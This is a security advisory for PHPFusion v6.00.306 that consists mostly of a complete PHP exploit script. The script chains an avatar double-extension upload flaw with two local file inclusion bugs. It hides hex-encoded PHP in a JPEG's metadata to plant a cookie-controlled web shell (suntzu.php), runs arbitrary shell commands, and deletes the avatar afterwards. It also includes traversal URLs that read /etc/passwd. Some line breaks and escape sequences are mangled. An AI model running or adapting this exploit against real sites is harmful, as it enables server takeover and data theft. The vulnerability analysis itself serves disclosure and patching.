SecurityReason - PHPFusion <= v6.00.306 avatar mod_mime arbitrary file upload & local inclusion vulnerabilities

Advisory Text :

#!/usr/bin/php -q -d short_open_tag=on

<?

echo "PHPFusion <= v6.00.306 avatar mod_mime arbitrary file upload &rn";

echo "local inclusion vulnerabilitiesrn";

echo "by rgod rgod (at) autistici (dot) org [email concealed]rn";

echo "site: http://retrogod.altervista.orgrnrn";

if ($argc<6) {

echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONSrn";

echo "host: target server (ip/hostname)rn";

echo "path: path to PHPFusionrn";

echo "cmd: a shell commandrn";

echo "user/pass: you need a valid user account to upload an avatarrn";

echo "Options:rn";

echo " -p[port]: specify a port other than 80rn";

echo " -P[ip:port]: specify a proxyrn";

echo "Examples:rn";

echo "php ".$argv[0]." localhost /phpfusion/ your_username password cat
./../../config.phprn";

echo "php ".$argv[0]." localhost /phpfusion/ your_username password ls -la
-p81rn";

echo "php ".$argv[0]." localhost / your_username password ls -la
-P1.1.1.1:80rnrn";

die;

}

/* explaination:

software site: http://www.php-fusion.co.uk/

description: "a light-weight open-source content management system (CMS)

written in PHP. It utilises a mySQL database to store your site content and

includes a simple, comprehensive adminstration system."

tested versions: PHPFusion v6.00.306

PHPFusion v6.00.207

PHPFusion v6.00.110

i) vulnerable code in includes/update_profile_include.php at lines 69-90:

...

$newavatar = $_FILES['user_avatar'];

if ($userdata['user_avatar'] == "" && !empty($newavatar['name']) &&
is_uploaded_file($newavatar['tmp_name'])) {

if (preg_match("/^[-0-9A-Z_.[]]+$/i", $newavatar['name']) &&
$newavatar['size'] <= 30720) {

$avatarext = strrchr($newavatar['name'],".");

if (eregi(".gif", $avatarext) || eregi(".jpg", $avatarext) || eregi(".png",
$avatarext)) {

$avatarname = substr($newavatar['name'], 0, strrpos($newavatar['name'],
"."));

$avatarname = $avatarname."[".$userdata['user_id']."]".$avatarext;

$set_avatar = "user_avatar='$avatarname', ";

move_uploaded_file($newavatar['tmp_name'], IMAGES."avatars/".$avatarname);

chmod(IMAGES."avatars/".$avatarname,0644);

if ($size = @getimagesize(IMAGES."avatars/".$avatarname)) {

if ($size['0'] > 100 || $size['1'] > 100) {

unlink(IMAGES."avatars/".$avatarname);

$set_avatar = "";

}

} else {

unlink(IMAGES."avatars/".$avatarname);

$set_avatar = "";

}

}

}

}

...

A remote user can upload a malicious avatar with multiple extensions,

(ex.: .php.php.gif-fakechars-) and with php code inside as EXIF metadata

content.

It seems that Apache mod_mime module considers double-extension files like

file.php.gif[somefakechars] to be valid PHP files and runs the arbitrary

code that has been uploaded. Actually I can't say which Apache versions,
this

was tested against Apache/1.3.27 with PHP/4.3.3

A note: file is renamed like this

.php.php[user_id].gif-fakechars-

ii) vulnerable code in
infusions/last_seen_users_panel/last_seen_users_panel.php

at lines 12-16:

...

if (file_exists(INFUSIONS."last_seen_users_panel/locale/".$settings['locale
'].".php")) {

include
INFUSIONS."last_seen_users_panel/locale/".$settings['locale'].".php";

} else {

include INFUSIONS."last_seen_users_panel/locale/English.php";

}

...

$settings['locale'] var is not properly sanitized before to be used to

include files so, if register_globals=on & magic_quotes_gpc=Off,

you can include local resources, poc:

http://[target]/[path]infusions/last_seen_users_panel/last_seen_users_pa
nel.php?settings[locale]=../../../../../../../../../etc/passw%00

http://[target]/[path]infusions/last_seen_users_panel/last_seen_users_pa
nel.php?cmd=ls%20-la&settings[locale]=../../../../images/avatars/suntzu[
1].jpg%00

A note: if INFUSIONS constant is not defined, PHP will assume it as it is,

as "INFUSIONS" string. On some system , no matters if
"INFUSIONSlast_seen_users_panel/locale/........"

path does not exist, you will go up from the non-existent dir of exactly
four

dirs to include the malicious avatar.

This works against on 6.00.306

iii) vulnerable code in setup.php at lines 14-15:

...

$localeset = (isset($_GET['localeset']) ? $_GET['localeset'] : "English");

include "locale/".$localeset."/setup.php";

...

if this script is not deleted after installation, if magic_quotes_gpc=Off,

you can include files from locale resources, poc:

http://[target]/[path]/setup.php?localeset=../../../../../../../../../..
/etc/passwd%00

http://[target]/[path]/setup.php?cmd=ls%20-la&localeset=../images/avatar
s/suntzu[1].jpg%00

this tool tries to exploit all theese vulnerabilities, you need a valid
user

account to upload avatars

*/

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}

}

return $exa."rn".$result;

}

$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "rn".$html;

}

function sendpacketiii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

fclose($ock);

#debug

#echo "rn".$html;

}

$host=$argv[1];

$path=$argv[2];

$username=$argv[3];

$pass=$argv[4];

$cmd="";$port=80;$proxy="";

for ($i=5; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if (($temp<>"-p") and ($temp<>"-P"))

{$cmd.=" ".$argv[$i];}

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

}

$cmd=urlencode($cmd);

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check
the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$mypaths= array (

'images/avatars/',

'',

'infusions/last_seen_users_panel/'

);

echo "step 0 -> Check if suntzu.php is already installed...rn";

for ($i=0; $i<=count($mypaths)-1; $i++)

{

$packet ="GET ".$p.$mypaths[$i]."suntzu.php HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Cookie: cmd=".$cmd.";rn";

$packet.="Connection: Closernrn";

$packet.=$data;

sendpacketii($packet);

if (strstr($html,"56789"))

{

echo "Exploit succeeded...";

$temp=explode("56789",$html);

die("rn".$temp[1]."rn");

}

}

echo "step 1 -> login...rn";

$data ="user_name=".urlencode(trim($username));

$data.="&user_pass=".urlencode(trim($pass));

$data.="&login=Login";

$packet="POST ".$p."news.php HTTP/1.0rn";

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/msword, */*rn";

$packet.="Referer: http://".$host.$path."news.phprn";

$packet.="Accept-Language: enrn";

$packet.="Content-Type: application/x-www-form-urlencodedrn";

$packet.="Accept-Encoding: gzip, deflatern";

$packet.="Host: ".$host."rn";

$packet.="Content-Length: ".strlen($data)."rn";

$packet.="Connection: Keep-Alivern";

$packet.="Cache-Control: no-cachern";

$packet.="Cookie: fusion_visited=yes;
PHPSESSID=44ab49664b56b97036425427b1ffb8cfrnrn";

$packet.=$data;

sendpacketii($packet);

$temp=explode("Set-Cookie: ",$html);

$temp2=explode(' ',$temp[1]);

$cookie=$temp2[0];

echo 'Your cookie: '.$cookie."rn";

$temp=explode("fusion_user=",$cookie);

$temp2=explode(".",$temp[1]);

$user_id=trim($temp2[0]);

echo 'Your user id: '.$user_id."rn";

echo "step 2 -> upload a malicious avatar with php code inside...rn";

$avatar=".php.php.gif-fakechars-";

$shell=

chr(0xff).chr(0xd8).chr(0xff).chr(0xfe).chr(0x01).chr(0x07).chr(0x3c).ch
r(0x3f).

chr(0x70).chr(0x68).chr(0x70).chr(0x0d).chr(0x0a).chr(0x24).chr(0x66).ch
r(0x70).

chr(0x3d).chr(0x66).chr(0x6f).chr(0x70).chr(0x65).chr(0x6e).chr(0x28).ch
r(0x22).

chr(0x73).chr(0x75).chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).ch
r(0x70).

chr(0x68).chr(0x70).chr(0x22).chr(0x2c).chr(0x22).chr(0x77).chr(0x22).ch
r(0x29).

chr(0x3b).chr(0x0d).chr(0x0a).chr(0x66).chr(0x70).chr(0x75).chr(0x74).ch
r(0x73).

chr(0x28).chr(0x24).chr(0x66).chr(0x70).chr(0x2c).chr(0x22).chr(0x3c).ch
r(0x3f).

chr(0x70).chr(0x68).chr(0x70).chr(0x20).chr(0x65).chr(0x72).chr(0x72).ch
r(0x6f).

chr(0x72).chr(0x5f).chr(0x72).chr(0x65).chr(0x70).chr(0x6f).chr(0x72).ch
r(0x74).

chr(0x69).chr(0x6e).chr(0x67).chr(0x28).chr(0x30).chr(0x29).chr(0x3b).ch
r(0x73).

chr(0x65).chr(0x74).chr(0x5f).chr(0x74).chr(0x69).chr(0x6d).chr(0x65).ch
r(0x5f).

chr(0x6c).chr(0x69).chr(0x6d).chr(0x69).chr(0x74).chr(0x28).chr(0x30).ch
r(0x29).

chr(0x3b).chr(0x69).chr(0x66).chr(0x20).chr(0x28).chr(0x67).chr(0x65).ch
r(0x74).

chr(0x5f).chr(0x6d).chr(0x61).chr(0x67).chr(0x69).chr(0x63).chr(0x5f).ch
r(0x71).

chr(0x75).chr(0x6f).chr(0x74).chr(0x65).chr(0x73).chr(0x5f).chr(0x67).ch
r(0x70).

chr(0x63).chr(0x28).chr(0x29).chr(0x29).chr(0x20).chr(0x7b).chr(0x5c).ch
r(0x24).

chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).chr(0x45).ch
r(0x5b).

chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x3d).chr(0x73).chr(0x74).ch
r(0x72).

chr(0x69).chr(0x70).chr(0x73).chr(0x6c).chr(0x61).chr(0x73).chr(0x68).ch
r(0x65).

chr(0x73).chr(0x28).chr(0x5c).chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).ch
r(0x4f).

chr(0x4b).chr(0x49).chr(0x45).chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).ch
r(0x5d).

chr(0x29).chr(0x3b).chr(0x7d).chr(0x65).chr(0x63).chr(0x68).chr(0x6f).ch
r(0x20).

chr(0x35).chr(0x36).chr(0x37).chr(0x38).chr(0x39).chr(0x3b).chr(0x70).ch
r(0x61).

chr(0x73).chr(0x73).chr(0x74).chr(0x68).chr(0x72).chr(0x75).chr(0x28).ch
r(0x5c).

chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).ch
r(0x45).

chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x29).chr(0x3b).ch
r(0x65).

chr(0x63).chr(0x68).chr(0x6f).chr(0x20).chr(0x35).chr(0x36).chr(0x37).ch
r(0x38).

chr(0x39).chr(0x3b).chr(0x3f).chr(0x3e).chr(0x22).chr(0x29).chr(0x3b).ch
r(0x0d).

chr(0x0a).chr(0x66).chr(0x63).chr(0x6c).chr(0x6f).chr(0x73).chr(0x65).ch
r(0x28).

chr(0x24).chr(0x66).chr(0x70).chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).ch
r(0x63).

chr(0x68).chr(0x6d).chr(0x6f).chr(0x64).chr(0x28).chr(0x22).chr(0x73).ch
r(0x75).

chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).chr(0x70).chr(0x68).ch
r(0x70).

chr(0x22).chr(0x2c).chr(0x37).chr(0x37).chr(0x37).chr(0x29).chr(0x3b).ch
r(0x0d).

chr(0x0a).chr(0x3f).chr(0x3e).chr(0xff).chr(0xe0).chr(0x00).chr(0x10).ch
r(0x4a).

chr(0x46).chr(0x49).chr(0x46).chr(0x00).chr(0x01).chr(0x01).chr(0x01).ch
r(0x00).

chr(0x48).chr(0x00).chr(0x48).chr(0x00).chr(0x00).chr(0xff).chr(0xdb).ch
r(0x00).

chr(0x43).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0xff).chr(0xdb).chr(0x00).chr(0x43).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).

chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0xff).

chr(0xc0).chr(0x00).chr(0x11).chr(0x08).chr(0x00).chr(0x01).chr(0x00).ch
r(0x01).

chr(0x03).chr(0x01).chr(0x11).chr(0x00).chr(0x02).chr(0x11).chr(0x01).ch
r(0x03).

chr(0x11).chr(0x01).chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x00).ch
r(0x01).

chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x08).

chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x10).chr(0x01).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0xff).ch
r(0xc4).

chr(0x00).chr(0x15).chr(0x01).chr(0x01).chr(0x01).chr(0x00).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0x08).chr(0x09).chr(0xff).chr(0xc4).ch
r(0x00).

chr(0x14).chr(0x11).chr(0x01).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).

chr(0x00).chr(0x00).chr(0x00).chr(0xff).chr(0xda).chr(0x00).chr(0x0c).ch
r(0x03).

chr(0x01).chr(0x00).chr(0x02).chr(0x11).chr(0x03).chr(0x11).chr(0x00).ch
r(0x3f).

chr(0x00).chr(0x23).chr(0x94).chr(0x09).chr(0x2e).chr(0xff).chr(0xd9).ch
r(0x00);

/*

this image has this code inside as EXIF metadata content

<?php

$fp=fopen("suntzu.php","w");

fputs($fp,"<?php error_reporting(0);set_time_limit(0);if
(get_magic_quotes_gpc()) {$_COOKIE[cmd]=stripslashes($_COOKIE[cmd]);}echo
56789;passthru($_COOKIE[cmd]);echo 56789;?>");

fclose($fp);

chmod("suntzu.php",777);

?>

*/

$data='-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_name"

'.$username.'

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_newpassword"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_newpassword2"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_email"

succcccccp (at) hotmail (dot) com [email concealed]

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_hide_email"

1

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_location"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_month"

--

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_day"

--

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_year"

----

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_aim"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_icq"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_msn"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_yahoo"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_web"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_theme"

Default

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_offset"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_avatar"; filename="'.$avatar.'"

Content-Type: application/octet-stream

'.$shell.'

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_sig"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_hash"

'.md5($pass).'

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="update_profile"

Update Profile

-----------------------------7d6ee3a7074a--

';

$packet ="POST ".$p."edit_profile.php? HTTP/1.0rn";

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, */*rn";

$packet.="Referer: http://".$host.$path."edit_profile.phprn";

$packet.="Accept-Language: enrn";

$packet.="Content-Type: multipart/form-data;
boundary=---------------------------7d6ee3a7074arn";

$packet.="Accept-Encoding: gzip, deflatern";

$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1)rn";

$packet.="Host: ".$host."rn";

$packet.="Content-Length: ".strlen($data)."rn";

$packet.="Connection: Keep-Alivern";

$packet.="Cookie: fusion_visited=yes; ".$cookie."
PHPSESSID=44ab49664b56b97036425427b1ffb8cfrn";

$packet.="Cache-Control: no-cachernrn";

$packet.=$data;

sendpacketiii($packet);

echo "step 3 -> try to launch code inside image before has chmod()...rn";

for ($i=0; $i<=9; $i++)

{

$packet ="GET ".$p."images/avatars/.php.php[".$user_id."].gif-fakechars-
HTTP/1.1rn";

$packet.="Host: ".$host."rn";

$packet.="Connection: Closernrn";

$packet.=$data;

sendpacketii($packet);

}

echo "step 3b -> try to include through last_seen_users_panel.phprn";

//works with register_globals=on & magic_quotes_gpc=off

$xpl=urlencode("../../../../images/avatars/.php.php[".$user_id."].gif-fa
kechars-".chr(0x00));

$packet ="GET
".$p."infusions/last_seen_users_panel/last_seen_users_panel.php?settings
[locale]=$xpl HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Connection: Closernrn";

$packet.=$data;

sendpacketii($packet);

echo "step 3c -> try to include through setup.php scriptrn";

//works with magic_quotes_gpc=off

$xpl=urlencode("../images/avatars/.php.php[".$user_id."].gif-fakechars-"
.chr(0x00));

$packet ="GET ".$p."setup.php?localeset=$xpl HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Connection: Closernrn";

$packet.=$data;

sendpacketii($packet);

echo "step 4 -> delete avatar...rn";

$data='-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_name"

'.$username.'

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_newpassword"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_newpassword2"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_email"

whattttt (at) hotmail (dot) com [email concealed]

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_hide_email"

1

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_location"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_month"

--

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_day"

--

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_year"

----

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_aim"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_icq"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_msn"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_yahoo"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_web"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_theme"

Default

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_offset"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_avatar"; filename="whatever"

Content-Type: application/octet-stream

what

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_sig"

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="user_hash"

'.md5($pass).'

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="update_profile"

Update Profile

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="del_avatar"

y

-----------------------------7d6ee3a7074a--

';

$packet ="POST ".$p."edit_profile.php HTTP/1.0rn";

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, */*rn";

$packet.="Referer: http://".$host.$path."edit_profile.phprn";

$packet.="Accept-Language: enrn";

$packet.="Content-Type: multipart/form-data;
boundary=---------------------------7d6ee3a7074arn";

$packet.="Accept-Encoding: gzip, deflatern";

$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1)rn";

$packet.="Host: ".$host."rn";

$packet.="Content-Length: ".strlen($data)."rn";

$packet.="Connection: Keep-Alivern";

$packet.="Cookie: fusion_visited=yes; ".$cookie."
PHPSESSID=44ab49664b56b97036425427b1ffb8cfrn";

$packet.="Cache-Control: no-cachernrn";

$packet.=$data;

sendpacketii($packet);

echo "step 5 -> launch commands...rn";

for ($i=0; $i<=count($mypaths)-1; $i++)

{

$packet ="GET ".$p.$mypaths[$i]."suntzu.php HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Cookie: cmd=".$cmd.";rn";

$packet.="Connection: Closernrn";

$packet.=$data;

sendpacketii($packet);

if (strstr($html,"56789"))

{

echo "Exploit succeeded...";

$temp=explode("56789",$html);

die("rn".$temp[1]."rn");

}

}

//if you are here...

echo "rnExploit failed...";

?>